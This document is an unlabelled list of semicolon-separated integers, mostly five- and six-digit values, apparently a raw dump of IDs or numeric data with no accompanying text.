25005;16995;88098;43794;63475;12966;69623;77530;27682;64993;59207;96518;96996;41706;65994;95041;59649;95491;78159;49464;102401;102774;52182;95771;87804;44665;75134;18089;18960;76163;46719;85050;53243;13767;76250;31322;25099;102634;55097;61992;23884;32377;44575;39879;78587;56722;78189;103992;47090;30467;74826;56701;10602;101706;101004;46728;87568;103561;56323;66428;101568;62929;92547;45822;64611;52575;64733;50071;32122;91057;73038;56386;87112;85406;76147;15083;54795;29461;76677;94061;47319;68303;20475;81366;104862;21029;43236;87921;101296;94876;72279;34733;95724;42116;99431;30201;65318;47594;86082;30833;25158;68881;77211;79915;38446;11975;74456;37368;61584;31688;85855;50789;54347;65682;52980;15105;11864;28144;49120;78054;46974;95986;73573;17037;83326;43030;88899;36981;90443;81723;91026;48477;84906;30375;65457;30447;22463;30348;100635;11542;74263;21575;95916;34886;28943;95764;59569;37817;18754;65871;37710;95526;48738;44222;13497;75101;94865;28546;70247;74326;41022;86294;61089;90906;21176;69303;33628;63735;49964;86594;84228;13465;85631;44491;83705;93145;35340;84553;13822;56062;70713;14443;91832;30432;48840;16616;10495;66749;64831;86437;10918;65575;64786;90593;63377;77089;68134;82363;106176;60503;36591;45174;55243;10322;60104;37757;21679;72223;30381;82487;89334;63097;39886;47410;15106;67425;80830;31131;10756;34157;15176;37351;75324;52727;45723;11184;22209;28822;52230;14433;76573;72382;47185;43674;24673;45684;91954;100870;96705;92786;99286;26409;70233;60930;47230;10269;67861;69989;76502;72045;40473;101768;71597;66450;100409;75917;85230;84219;49304;99192;50916;72107;103159;86070;20155;67378;103426;75282;17112;73484;89383;15084;36410;28769;88944;85817;99115;71818;76339;100259;28540;62426;102140;106666;69150;62085;64033;56652;75146;73715;97946;48634;46723;83265;66777;100072;89341;81677;89665;83108;46973;85321;60971;79551;36909;17776;47727;41240;83467;85263;24525;97182;71922;27897;67905;74764;58305;102034;21571;104584;100527;91992;35406;96111;85889;43423;49266;71719;26633;21455;106938;71422;55963;96789;96415;72121;64834;60377;86180;15253;52091;81907;15920;16290;46192;89447;77899;19655;68515;29849;105462;50272;57869;12098;93437;61004;106864;93446;15545;14951;32922;56279;40100;36415;91866;37263;38871;86137;36106;55701;27545;50317;91588;72772;16592;43243;20859;46496;73347;71250;34135;84252;43780;101193;53250;80077;68144;80192;23637;12400;105035;47798;89959;18123;72774;13855;105133;39953;64015;62876;84349;40141;62160;35027;75305;71604;47271;36485;30251;18858;73263;87025;93753;58780;86447;35857;79061;45095;72064;19945;102648;65368;75510;41220;20960;64443;83233;45407;45778;61044;47350;15932;21234;39979;53035;38477;28140;76241;77227;46932;12514;43645;65034;13751;52213;82922;74608;103848;61350;14920;49498;75971;27657;66740;72665;31481;64133;60327;23938;48620;46813;49804;13037;65343;66469;82302;64987;99969;72571;51712;61024;43791;66990;26082;30236;53183;32115;17543;25512;105138;22720;13231;91798;14650;38867;93800;72277;82747;27242;100936;46746;11635;99114;78595;27534;42047;35435;71257;95676;76868;36982;29018;94289;17620;66848;67885;49009;11335;59481;55362;42049;75934;32450;83214;22807;72550;92613;14591;62908;25768;81374;41480;80688;68545;67148;83669;49976;26898;100857;54562;89356;102448;11729;12823;38738;100371;71155;28322;51530;42653;77814;54707;85876;31799;13695;88758;85396;47542;73591;20481;32046;29033;83356;35300;29103;40251;25598;91059;64346;63883;31035;19154;92737;63270;77905;14899;42649;33218;88949;89520;102423;16621;101109;73776;104185;99092;105553;21532;14933;41819;95617;99634;22396;64290;34847;19203;87306;19193;24705;82096;45688;95452;21088;13973;13666;43666;78113;55851;57908;22956;14344;82876;47500;86511;47163;82000;81700;19480;52856;45212;87198;48159;72624;37834;101823;86651;23112;39528;12264;61059;73048;30536;86363;95626;32490;80826;47583;35790;105377;106042;99084;60911;87937;62803;106346;13777;105295;77632;90382;49897;55618;91232;16850;39376;101922;104710;53615;25940;15521;15091;85564;60901;31619;44047;70990;21982;53319;72557;101280;102026;44290;18901;53694;32965;21135;93761;31513;54904;26841;81211;65105;63104;53452;76779;88536;16086;67307;33647;95016;70294;47312;19771;34024;21085;76098;57814;22338;18727;97768;61985;107077;90421;66961;22194;74081;106138;22600;39208;76880;19925;87864;78605;83971;12397;23646;18933;102819;36706;78955;45403;73713;46436;99642;14723;77645;36724;53439;51175;16602;71123;89582;79702;32257;73417;100229;100895;10896;87820;69694;48836;72935;100904;82039;24310;105216;22661;49454;89109;60256;83494;79718;46514;35362;62955;70251;29792;91492;23857;64307;106499;79756;20552;96584;44158;75519;74626;35358;42800;71874;55965;83045;67889;91410;26411;83348;47190;68493;12536;18566;80685;69131;54304;45252;53329;18302;30870;80472;20810;77781;85801;13475;37833;12249;91373;102996;58171;21965;95284;96683;38462;103010;44527;13185;90923;64931;106352;93904;39621;63387;10963;37639;103228;89824;43982;67933;12599;34313;40268;80744;42963;95363;46603;102228;28136;26645;105693;66737;27656;48884;63920;64363;29887;82033;102810;16078;10371;10849;101910;49402;49801;77088;103680;80956;66152;26288;93244;82883;22564;102322;50786;18527;26126;56773;89233;22606;55245;77411;16462;80702;33853;16245;87130;44188;82338;96642;28214;53494;41571;74348;18556;55459;52467;34422;97088;67180;59159;15871;15604;94691;78044;97349;17482;106017;45863;30439;97625;97460;30887;20664;84950;100537;37827;67574;10802;54167;30753;55119;46625;104354;21366;97929;38876;54051;82846;50290;72988;69790;37121;97199;81537;46096;40939;43154;92922;106854;43715;33438;64690;93875;78726;55670;69573;105461;75290;32594;61572;104319;48907;76953;78132;54301;60748;79206;47356;49515;32988;52605;75346;52588;56830;22558;12973;15384;60908;100852;46168;84110;102051;94300;65217;12555;59827;41223;58724;64186;87695;32362;69982;17113;23986;97382;57717;56699;72472;51564;87677;27215;58475;72670;71927;63186;55467;12835;82649;84149;93027;29862;34547;99279;23497;76645;67427;77289;83221;47049;22431;58572;49018;45902;25547;20104;68541;65037;85951;83579;41468;102987;24653;71376;73614;82558;41854;28127;93910;72447;72449;102040;71404;16704;86805;18122;49282;10413;77694;36689;56961;76288;26362;93754;54286;58004;65769;36349;58162;31234;85007;72083;87295;101603;20323;54667;81080;16833;69886;33147;52926;62482;21319;85388;25909;100941;81498;35656;21378;95569;59565;81471;24441;38929;106905;104997;87048;37122;44824;99902;65152;57741;32587;58605;39494;77669;94708;26806;99920;18267;41002;36600;60356;55643;26718;58879;48735;35895;42881;42961;51054;57336;12482;96183;11995;36888;31209;105415;19407;96062;58936;20662;40905;91630;72561;94198;82850;83683;72993;30362;49954;37047;44707;42634;69318;30944;24399;27569;36605;105047;87744;51214;38442;103643;90754;79380;58298;89143;45967;54335;46044;28080;13804;25162;72340;24168;89746;83967;83294;94186;37321;42953;68488;96802;28422;23411;47457;83658;53868;74672;28406;47330;52482;34320;60618;16080;40914;87146;200105;86114;15618;62511;22966;86365;85271;47147;12861;78522;93780;16070;15260;58948;66972;72661;11553;82295;78286;11248;65117;60707;17458;92675;29225;68906;200119;43167;17406;97538;100163;72906;95812;18939;64778;53349;104224;78750;85047;11925;62385;17765;45409;15393;73271;73295;37976;38877;22963;10547;34136;78671;102486;87903;42105;44869;36486;56482;85086;106691;46426;40924;19084;19739;96604;10038;85902;29831;68810;92898;52136;23638;73670;53196;72970;15683;93055;64305;20413;12608;90901;94615;78829;96951;93195;102494;17668;68882;25408;23413;12697;60402;75922;79589;13961;22274;56513;10984;26594;35269;102175;13153;55123;41795;43461;20017;79201;72708;91158;60847;56962;51098;43452;16329;53784;37609;60133;37217;69119;17376;99145;43660;34098;81204;22493;54784;27884;51507;71087;41835;75944;97657;90892;26721;38181;74205;29194;89417;82200;102374;40253;32364;93782;51219;43859;61075;59620;56351;64271;83946;91809;10073;102977;65897;94568;33172;36345;59383;17649;39778;35156;28971;28372;12320;31213;42114;71130;19978;86211;43299;88792;81319;102844;24732;64856;15292;19850;36262;63045;28491;36658;84942;59405;32686;12999;61109;97911;91037;19837;20439;30742;57641;103141;79444;32131;53958;32772;78568;93567;90629;45702;102222;104855;53721;97059;64029;46135;75557;56686;84460;41207;50222;81897;101207;15606;47366;69913;53705;97435;74520;50153;90085;86989;81946;83113;36336;22085;15838;25052;21412;10285;61120;35946;20374;38827;72333;20207;25403;16710;13235;78864;86203;68002;101932;64651;51686;42409;52674;33269;14221;102605;73532;68593;81357;36752;78715;20821;35405;107119;100093;83654;49286;25244;57910;106920;32874;72769;87274;69712;11332;51869;95261;30896;39553;78535;89235;55239;52476;94653;88031;54705;104961;23223;76209;14935;18410;17663;83051;99356;82932;93182;83025;99440;62282;21605;15705;79914;41747;99473;19890;18552;72456;11414;16003;49426;77492;80752;100338;88581;49022;76778;45641;60641;80110;28218;58686;70978;64142;28533;80693;34816;96226;105975;90118;54365;14769;101189;52227;80594;49385;96400;89712;53127;38343;105244;20929;92988;80060;64317;56718;28591;68875;23159;70404;53932;99725;13271;12360;44093;30249;45410;21161;15258;99275;31199;75776;80952;36794;79903;93864;91818;84301;10622;100439;92954;23115;61251;60518;28767;28646;71159;21553;31830;56540;101002;96589;66145;54241;96088;72811;63595;29968;28639;45619;79617;80245;79830;50274;67441;65822;48350;40848;53834;84372;93617;100795;73334;37687;89107;45531;59796;22287;89008;41113;19889;11520;40961;40472;73100;87752;94493;64982;106415;43776;42201;25881;37616;46500;53234;96135;81938;23774;33025;23163;35952;102517;17123;31443;25726;78733;13923;99132;43014;13713;29256;23655;85882;35580;75351;57150;57611;24435;75829;89391;33047;74653;62122;26040;53841;44576;66315;72161;80461;27027;73485;48507;29370;29974;100451;83907;32589;30433;40157;83406;38945;62590;46259;53030;31781;13556;39814;26338;67277;93897;62314;23311;53535;44583;32535;21798;36857;100497;57345;75589;12843;66800;62032;58991;84100;49041;32627;11475;106387;77631;94518;33464;100827;106583;78004;18975;89851;54646;54480;20279;26350;87595;103069;81084;97065;86488;24583;63684;78056;46448;102952;39793;64507;84249;63815;18217;29391;76367;12126;53609;60547;10633;91099;93833;70054;103465;82292;56162;84863;39301;61298;60780;86845;41030;47268;77282;97467;52127;90039;55610;85012;57219;100016;35410;63888;75184;59661;80166;77653;35870;12727;87045;73935;82369;89882;30900;29505;45023;50775;71605;21536;36067;93093;95400;62974;67337;85042;23812;13720;74862;59448;101487;18708;38848;92001;20140;81108;34358;92377;43831;102289;12206;56172;87717;16521;39729;41965;37173;69177;67056;45972;65450;60945;18950;29279;53426;105507;11681;33086;51835;77479;53630;26112;35464;49619;104008;106518;67334;57082;96430;23152;18418;45044;43295;24460;101028;29034;43160;72415;71300;33384;73642;87576;22650;102863;84244;45748;20076;49483;51604;66694;82072;76060;57134;63034;53052;59890;39049;18140;33051;80575;46510;48921;40382;31958;25790;34124;82524;93726;24809;32456;69633;16560;49090;58497;51460;55008;52276;28454;75508;31757;102916;64312;86207;42998;63215;19625;61926;23664;21973;100117;84720;22562;50218;45025;48817;22545;102800;21335;53146;95911;97761;79704;93714;68475;53056;57685;30096;32672;71749;74969;50382;39240;60501;11810;63616;51912;51030;42569;39747;64108;31376;70642;52694;59771;91285;89082;33284;67595;40697;73877;54396;32663;74752;20589;30888;87617;51242;31940;28458;100295;22934;64964;103028;55657;37423;82286;67267;15467;101597;69207;14565;10700;84159;80081;31182;61803;77793;38599;36671;85803;79338;72087;20478;91266;19755;69211;52825;56205;102056;35098;54417;54611;19809;22055;97472;52286;69869;45114;62518;36911;22868;40999;14244;23958;32958;48856;11485;61049;19474;89857;69991;59231;12095;97857;87041;87685;26031;66787;40807;94624;22266;100602;58663;58300;50335;71327;63685;19886;51334;15892;49134;79415;73701;79863;84117;85975;18170;76935;13538;61116;11352;99427;29930;71759;43788;101658;86076;35918;88116;92806;59577;28141;50929;86734;24408;46833;19985;59369;21120;103438;93526;105863;94885;47635;94178;105915;103548;105878;64841;48412;37807;72229;28032;53703;96767;89975;74984;19330;57508;78873;66600;45825;11568;23553;64973;29214;56182;62684;27402;34167;75512;69422;42754;29390;91693;48505;97160;39741;23255;97365;101199;104928;19580;61339;105717;43077;56069;93915;36315;11347;26154;26761;94745;60749;106225;15375;102241;27135;13295;17578;76839;38875;93342;39578;31253;88408;23671;79950;104627;99961;74434;80497;60720;71482;64806;105894;45990;31396;40273;100886;59701;56936;78281;97179;55469;85149;62188;27520;61012;102404;92243;78363;49988;38124;78280;10822;82048;22347;56557;49694;22229;93299;65699;91687;35166;42316;14152;58420;99851;94427;102709;92426;100034;59487;91012;16583;82682;81918;54354;28401;23217;25083;107093;39901;41178;60681;24867;82629;40209;23680;58260;70837;102530;89386;62863;24021;99650;62172;88987;68339;67416;99259;48388;45934;77714;93166;27804;85175;86319;96050;67529;77109;42319;90494;105815;97224;19957;52029;79169;54509;50717;44460;30305;29465;79553;26878;15333;13702;200027;49681;45167;38318;71302;84798;50165;19768;35011;27918;96351;34902;23151;97282;82627;107131;53678;63402;69123;85342;106498;61210;83850;12948;15702;65732;97277;43756;12440;66143;48181;82596;48771;85195;86694;79193;102281;81142;53213;22130;106720;100449;106695;81293;70350;107021;64411;49196;28396;13591;80097;68816;21604;73258;87132;55992;97595;94705;24535;25222;93894;99285;72544;102249;27588;41904;93154;11589;21341;94113;78260;13177;55287;50806;101455;46881;86383;50028;24670;43093;82721;36898;32829;82895;42620;106860;30118;77144;72271;86667;57320;85630;20085;16380;103858;105051;33806;89695;66375;93454;26038;75739;63922;11267;18947;65001;54673;64560;52556;43384;55651;92275;25590;105312;12594;105899;12040;82289;28034;26524;10409;75354;65448;19859;68464;99001;37658;55910;62126;82995;11159;58152;99170;42680;16513;71608;42983;20903;15456;46793;100128;89344;51650;43426;53010;20580;92952;65334;73054;91544;23443;105645;95501;19737;67256;65681;19670;91904;26477;102923;78064;33851;53376;73663;95783;58414;11934;89750;35600;55462;21559;45639;38969;17328;64594;95934;65057;59840;21291;64218;91198;62620;40524;88575;62836;99147;42451;78199;93665;34104;29758;40439;20964;36683;44231;57483;35278;25872;26931;96191;91900;76292;12378;18600;67878;86602;83506;27979;84786;71788;59144;75856;87368;15803;63603;19609;82220;38004;80345;45672;69156;58322;32178;97278;80300;72481;33939;81628;66235;50661;58617;71408;70312;51678;45193;39056;34871;24047;53979;18889;27632;42650;74369;60176;10575;63833;71556;47023;34575;25342;86278;33065;28585;63046;15125;39521;33033;92727;99368;74424;56255;58783;32719;30518;86189;11796;66258;63238;95488;32767;83064;63763;45052;84362;94385;14818;15062;27555;24922;58567;82527;50823;63980;105860;88518;32180;89090;92061;67248;40095;93472;68389;12955;68702;90422;82593;33073;31412;90611;65802;106426;37940;92041;38911;16645;92341;28029;73906;50116;69169;25973;12803;25028;54585;13183;79275;70427;20024;77187;102148;36584;75999;12949;105638;55378;49600;21065;38974;37052;79658;81694;70953;20644;93097;77993;29681;82005;33174;34085;82022;50828;26118;91363;65918;103744;95291;18300;75117;84229;28333;32204;40878;85784;51932;28836;78025;11801;57304;77582;71332;91302;39598;82381;77331;73262;28402;40881;105364;78497;73976;59096;81952;18026;90925;91053;45333;95755;67393;20932;85430;97645;13119;97057;55270;33709;32320;60067;24177;73709;48237;97576;70691;36050;51944;58464;53474;46670;86174;39511;10999;34771;28600;63779;85464;65711;27109;104809;84780;18859;52008;65584;95784;91117;67892;44886;33932;23176;93856;76412;20668;50918;46861;22518;60732;60220;58552;99918;27502;38128;99108;94021;59829;14532;95039;84773;94681;71271;45243;51238;74354;41397;35972;72063;64976;71714;26025;38044;12838;67037;105189;55979;16191;48713;85510;59680;76877;10084;32588;47689;63957;41188;65225;36834;93820;103360;44391;92862;13587;19183;25910;48585;86540;39555;28198;12529;31543;88927;96179;95661;58541;52240;50545;47116;61617;85740;78121;71094;35645;99957;19021;63862;104770;73965;103400;57580;13707;96602;43883;31834;70824;25588;39810;81383;43212;69189;65506;19864;27875;96353;74388;29949;82623;82533;27923;26634;81096;82935;29539;92783;94766;41998;28073;14397;34241;81634;35210;51453;76646;104835;49101;86632;15539;51220;29023;39038;68826;49046;14429;37185;94184;46073;90506;51679;64709;58995;29179;54296;31177;59919;17189;13618;83775;22136;45915;31423;71693;65549;85316;93384;101198;21130;92370;93538;34061;88497;44147;75623;106906;100658;28316;83854;75941;93678;76099;30423;200026;77356;92329;88599;10420;35419;74379;35761;43177;33588;85221;62559;32652;76768;85937;97554;29293;21802;13788;103192;90751;93006;101635;15099;94899;32254;88834;78402;22865;104748;75081;22096;25882;86662;73952;78001;52107;42679;41796;58615;69833;75403;11263;11297;32313;85099;103673;101380;45134;65432;91221;78717;63209;57875;41809;23409;60848;28470;106329;94554;48711;69551;83923;67388;18097;83087;100554;105565;97352;88386;41655;82256;68575;29013;24744;59428;100976;30863;66013;86735;19137;78770;41719;94264;75156;97220;103795;103818;37203;14925;83739;85879;19727;81749;14247;65968;82777;64884;68271;61638;32887;13342;21348;16434;14419;102480;86312;50210;74001;51580;66239;14999;50712;101583;85747;70223;66806;61201;62846;55390;32255;33793;101266;93046;27230;22033;18488;104828;47246;28251;103642;57790;72342;26489;100657;70180;85355;84408;50774;67013;76853;57953;57009;22202;38060;104390;11665;13511;75315;28394;87312;52932;28324;85701;23818;63552;82318;17136;48680;90661;69367;12613;59485;76882;67752;33102;20548;36031;84447;57801;25635;100855;48690;11046;51437;87842;89808;70171;24202;40529;63398;57278;14312;63278;25166;69988;34598;80968;28718;55514;20197;53499;46588;90144;16670;35115;60637;10128;59901;28433;54283;54219;105679;99163;57784;59432;29455;104226;74341;17022;47377;54239;47731;51646;49156;45810;87019;29902;93594;60638;58610;17026;44713;36406;47645;50409;55392;48540;101192;99699;18909;77936;35242;92800;63531;65995;96048;83112;76593;67457;63272;53178;90821;105771;91111;67379;45783;39502;105028;106486;84398;74796;23019;10184;84417;101858;64805;75866;58979;69611;75709;39924;84702;105810;49477;65324;29916;77325;27219;68847;92684;103269;28012;102015;56676;88146;91487;87821;105619;31356;104711;85854;31124;103880;97384;68384;47764;22125;64550;58699;33409;39472;39567;31642;104382;10946;49124;52321;20136;47518;16469;36879;30344;87464;33784;89892;105027;68240;78186;68335;20126;40245;38730;35228;28952;200019;99639;45701;41736;38429;86254;78867;99922;44879;20703;27462;28262;47270;10392;48910;77274;62345;27249;26394;67962;34474;83495;29640;69511;52495;62861;33415;38522;66659;53918;59787;22212;51887;38327;21048;97783;31534;90081;54105;41938;27187;72625;36503;31852;76155;78552;80941;69324;11358;58859;67535;85004;93614;71151;49590;41572;13806;10974;41869;62177;95706;27849;96099;88593;17822;83993;89736;78501;85218;78384;73542;101013;82481;101846;19430;24344;19683;99692;56782;26621;58671;91115;75244;74800;50881;85335;83523;65193;31583;23480;40300;40197;77896;104664;26667;70229;61086;45995;44216;28455;97975;10758;40393;78455;89913;41804;29634;31326;43445;41335;60694;51537;76103;51466;32135;101891;10786;66026;10131;30343;48368;71315;96488;103733;23428;67435;20027;57676;75223;58878;99211;21416;80084;101234;89532;70161;67877;20501;36368;28852;33632;41260;97636;17056;104611;90953;43092;85793;84851;77948;99382;88452;45184;43215;90537;63726;36560;106266;72899;42040;87362;72450;21296;44769;33031;10597;103013;71839;14828;87195;61405;54184;68020;19288;87794;86172;70086;66119;56155;75697;91931;96498;95354;72578;84491;48526;42455;102907;15424;70227;49119;71969;16951;49450;18204;47534;60878;15779;89169;90896;13064;66571;30751;55154;66018;17680;25375;47079;81823;106780;67079;34638;52087;48372;14452;39719;93700;103300;86126;18744;49697;55937;15931;99457;24128;101406;84882;25324;80023;97309;12310;97567;41478;68947;63334;37127;25449;62388;40964;71870;70360;73278;14660;74346;87361;57719;90673;35793;32172;99591;50690;34538;28690;13842;73105;43529;18387;93969;52354;101518;53869;26403;89947;21326;31692;31864;66048;33200;37174;106719;96366;35456;36269;66580;80618;44418;14750;27547;100813;23193;69962;38638;29079;57742;78160;96594;19285;38211;92237;90688;63868;67413;66131;73358;46147;60036;20802;35138;66869;103549;104470;16501;51705;68873;99568;95673;94340;22876;55167;101516;32234;72341;93024;90368;35933;57362;85575;50909;74669;57651;15175;83947;77532;91150;70736;62022;85358;96794;20622;63870;50286;63737;73104;106818;94000;21705;92906;43497;79954;67230;73537;40400;71983;106830;89163;43283;14706;40545;103967;17433;19603;20961;43963;51628;60007;11697;25834;101506;103544;69735;27253;100002;86077;90560;63441;27662;34883;57314;64013;23968;79654;54380;79616;19162;89333;32529;57449;17410;10816;65903;84861;30065;70249;31693;47131;52262;99044;79692;57929;48247;18112;79138;95883;58814;105631;58163;81711;65505;10616;17248;15933;14363;105074;49254;97699;31671;101005;88421;35259;10081;101097;96855;70550;44620;89751;76604;64705;36627;10182;56779;57906;94349;72110;14827;64059;40509;17334;45952;50704;43890;58646;34489;104604;15318;82227;29376;13214;18142;99953;35051;55808;50795;71121;101329;102720;88986;43677;67708;106963;81232;46759;64526;42663;47165;13075;25317;46815;66493;56019;54833;39109;71227;76918;12819;31081;29875;64919;55351;61365;66087;80361;26973;54926;101184;29942;85891;52355;100557;74217;57394;23430;88158;39894;94979;30571;66046;18922;105706;77100;18485;52657;76548;95013;14293;91416;67620;28070;63840;55801;16502;87605;57297;76360;80850;29868;89070;102100;86937;78456;103618;103151;102607;22759;65453;74011;22945;78432;74274;46718;40958;68482;52726;54530;61944;63265;89479;36811;59174;72644;60597;70287;103654;70474;54767;20923;24478;91933;92804;70764;59582;66198;69535;33841;102825;96798;78149;76248;26042;66620;99782;90402;74422;75659;38048;23342;23236;74250;28189;48299;68638;61962;84315;101700;22980;94798;70735;32509;75520;23562;38861;15530;73724;59768;25780;46110;90845;105022;28675;42805;20448;71593;83989;52018;46768;45613;46472;34472;76153;101152;32020;61937;51622;89979;36915;105252;85340;95475;89763;78875;37959;103288;76503;58536;34814;14217;34280;104188;22838;54278;53101;24010;88405;34173;77751;71340;102327;70431;75719;99447;44809;90078;62306;27016;87384;24099;32358;64233;54625;44800;16280;77183;101588;94241;43622;102609;80085;30807;106160;89924;23627;80326;40883;44402;33315;43891;87488;42440;70707;101031;89949;19517;89041;57529;46960;54771;39984;48232;27837;23554;102671;82650;66799;89377;91366;43451;76507;67397;77840;84243;63121;24501;92226;57446;29232;91923;95814;104161;82864;105542;71517;93387;64556;38707;77188;55190;56332;80626;59662;19216;25280;21492;35284;60990;97411;47835;81284;29497;78236;70779;42421;11928;87311;50682;60531;14403;13548;41849;105579;106422;43918;31221;76787;31734;44354;107078;93202;48343;21992;49830;23613;82818;69454;33472;83896;85130;24789;71115;94223;51798;19127;55405;24024;32858;12806;100402;47870;34979;86289;40479;13796;22443;17041;28974;46790;90391;88689;68472;74717;58520;82199;33383;10197;73188;103386;17502;31100;45420;103689;35214;89711;71252;70005;33660;93467;14852;82999;45903;107103;42882;79623;46959;27887;51730;72145;71134;57265;64151;68761;53448;17576;71476;85545;17975;34713;103114;49580;17133;65512;13589;60964;81518;10132;19520;42129;10658;16954;23950;96508;39604;23036;14412;81032;92668;86403;93560;75964;63935;16749;26039;66815;28563;71557;96516;91051;54570;38311;104036;79062;50780;49509;30952;44622;14078;24476;71810;30117;73816;105494;38453;106637;71851;52089;24020;21428;106045;92692;32316;73290;57094;41300;91116;75075;89927;13817;72729;95004;34151;18816;95496;92661;84273;34159;57437;82128;51449;57177;61685;69724;86687;19729;33062;106970;13124;60500;56565;79427;74572;39692;55640;58568;63804;31307;61634;72435;67294;92014;19025;69512;62309;11164;17412;23018;59720;40930;103931;39206;37787;200118;72894;29765;40264;78289;23933;85480;53149;46343;11303;57477;66015;36713;65358;78483;36516;87423;49789;93465;50925;52683;97196;60927;10931;80865;27098;57567;26730;102680;11523;61413;92244;51821;23697;33561;84944;10968;74570;84992;101125;101740;81265;47546;106626;13856;103758;63766;10588;40730;26026;34303;88458;99323;80416;28928;200114;64653;49436;40072;67519;17753;101819;89881;74397;86415;29853;50803;62483;67311;64270;40247;14503;50834;25905;44911;69470;74396;54923;68279;102467;53599;42828;53260;39065;104098;61129;59672;77612;43099;99779;26309;11564;64609;61131;104168;107034;14638;17484;80759;85110;67668;14747;91093;83377;92048;73827;61279;25255;40332;61142;73898;43705;54541;33605;51587;50558;100970;26011;87203;102954;55195;68529;24616;25621;63819;50613;20725;87186;105039;15989;11180;65803;88471;28832;18976;89484;50228;59654;96929;39755;18572;51539;62899;42174;72737;24539;63128;84044;79768;53170;41564;105889;59688;63951;12457;106305;37040;47011;65236;69859;42386;30346;86379;26680;67192;34969;69497;77228;101094;91559;79225;50472;38701;36837;42060;82541;28159;75344;57429;85808;72467;28013;83610;14164;38139;61135;24569;50399;51278;60850;55511;103441;38194;60738;32469;13081;105038;15957;52195;93399;23447;12295;95896;102776;91377;51534;87223;30256;68380;37294;50475;96561;99588;64646;106874;57881;86346;21430;76315;20499;91120;78084;100435;86073;70495;38777;87329;78336;74873;101021;67203;28276;54696;21609;91479;63240;18260;81507;81906;77045;15202;60339;106890;88919;33008;19704;97794;48173;37113;71165;37750;12337;30111;63681;13156;65012;22633;19926;58329;11838;77010;94180;24294;52500;55912;10045;58087;94843;23749;62344;70240;92710;29998;103240;85783;62726;47698;101954;65860;51663;48676;75131;69888;31866;18785;14201;64920;105953;84753;82183;41171;19838;102184;26049;24630;50073;26679;100849;91048;55369;90784;93626;78045;72239;75986;70791;36425;94486;65661;45569;16656;63357;84428;39992;60442;51707;81629;45441;10311;56908;58691;77280;83735;48855;24969;68518;95682;42561;13609;81410;51516;35235;47170;48552;20897;81975;60583;100856;71755;26205;41310;15078;93252;28709;12880;35432;91206;84430;64764;32485;105788;25413;51412;11863;85493;38229;59592;100204;12058;73839;10920;82827;55642;20159;106404;45305;24428;47568;26146;79255;75943;44424;88394;104300;41671;48338;20986;35694;49168;82727;87378;64989;47402;69446;46137;70675;81399;73628;85100;61732;65346;17204;73374;100303;47597;48811;44687;18996;47509;47316;51691;70144;79194;27501;93397;49916;57200;200001;77654;40255;106749;30136;60448;47486;44450;41194;31042;89526;87509;43801;17292;54854;86804;72491;49564;87892;73013;67521;34055;49319;31904;101407;45581;90618;33374;39656;86047;13878;39111;104784;75550;97193;36616;15661;93414;18794;18381;83078;22163;28869;106133;87189;46480;105546;61162;18671;40705;29333;57234;37229;96849;90377;33069;65799;10690;96221;15699;100967;23820;92070;78629;11818;18644;21781;21437;25903;69830;21888;97188;35367;79242;16760;65247;86981;51945;54937;81309;84598;65920;41187;19559;16454;41729;40040;70395;16009;58889;69046;89168;84088;15391;41391;16791;80104;43526;64209;26999;39875;28684;49866;77842;27827;89312;16289;104130;93609;72956;67140;71211;86457;70893;28907;27078;62305;20881;30056;38549;59331;93883;31313;46986;38265;18807;47122;106881;18871;45950;13401;53897;72832;58214;27911;76704;75818;60450;70769;25850;56507;25500;27476;70938;90852;64027;76843;102083;89891;62406;29229;69236;31405;59118;102576;29434;58687;70526;53798;50447;68116;95897;80722;45294;48923;92781;81220;54959;51028;35298;77106;44744;86425;92941;12065;60110;39451;51364;96177;26036;10447;75702;38672;33534;68984;101389;89323;31629;26606;106412;57777;29525;99149;21586;35254;48467;24791;94675;73219;71691;63513;47386;40867;36134;39209;100687;51339;74115;24172;17779;95424;60918;66771;86334;32951;49864;76813;47191;45189;46812;64375;106834;16333;84530;18936;38017;84380;74226;17020;57514;100428;69630;79382;31121;43635;73438;85207;45203;34534;91650;40103;96511;89278;73632;100130;59529;35760;33285;101833;71200;36227;88620;23666;27457;26637;92418;79357;55204;106807;64575;71230;85903;24839;75238;105627;86214;82547;106547;58345;39036;86147;25277;94142;32659;53395;61876;88470;84122;80737;104950;96882;54209;50133;17664;15660;76977;14190;19109;79391;51251;75622;34877;15415;22924;61702;94743;78293;42975;21149;42436;20077;14139;83077;44315;97298;68165;29905;23279;21453;47238;33058;43301;34897;75960;52578;88556;26463;35018;37081;69167;61224;103014;27723;52675;27797;56672;77564;42151;44516;36956;76525;79228;10685;19232;75483;58119;10781;75413;59197;72951;14811;30971;104930;20636;44612;35407;103729;22012;45464;106540;71443;79823;100611;77867;45241;14642;31076;52514;93964;83557;10543;105426;44487;85244;73907;93912;47595;92526;75300;69792;91769;99937;99858;19490;26280;76303;89434;15673;82916;57640;84468;53543;56812;49026;52112;65002;51134;26789;63277;31075;66346;60885;78787;81895;25930;103048;89256;40159;90699;92961;76700;30943;64817;63497;34386;93078;49783;66638;27310;19868;45747;39888;106922;26152;83793;40856;27673;77882;82837;13779;39890;47024;52421;30832;35663;46880;10858;75294;93371;80750;18662;35061;101714;86375;73069;74992;18487;68719;51011;45290;40391;37849;50141;51765;200089;43375;44750;14606;99478;97012;105781;39374;100512;58167;86224;99610;90809;92965;17015;17455;10301;83160;26517;79946;62218;17806;67434;44066;38644;78987;76640;17598;26378;28264;62141;92423;22792;89149;52643;45183;102975;33910;97528;104914;85533;80809;94569;18347;17423;76126;13650;63568;97727;87923;66088;25602;10375;32724;105687;11604;78449;69836;88124;101174;73282;15149;101494;71770;23205;26282;42453;66384;42706;23101;47789;65466;76715;57181;35196;16767;18060;31622;88141;96413;34301;22608;21891;51209;97810;92094;94231;34316;20234;73084;106473;107095;65261;41529;56572;11135;94307;82078;70685;92864;93721;106848;65159;39186;30452;14083;18946;89828;74771;78195;31359;68854;21826;10027;49550;46615;60937;97148;29417;86979;78413;36180;95748;62968;19356;106033;31290;15775;68272;63722;63943;66107;58741;80829;40219;12328;17058;75323;19767;31425;36669;26812;25458;30182;17300;56217;12624;44283;92841;32211;95619;102729;26728;23867;90470;88447;79000;34642;77832;75200;97244;82441;59258;87108;37231;73529;104466;43318;101850;77898;23741;69091;13379;30263;95556;74334;29335;61542;54049;85627;100339;36791;86471;94750;62911;18043;34825;51637;105848;69752;54094;22068;101715;30750;90824;59638;28235;61563;63690;50820;28167;55042;13210;36722;10401;22631;54815;57916;75217;86652;63688;58038;77119;88865;56784;80663;67869;81846;94762;32771;87238;40148;71111;73304;47780;84680;10062;86746;52435;54228;44554;43899;22035;41593;78591;63694;31954;95485;25119;23786;92375;103449;17261;84299;18721;68200;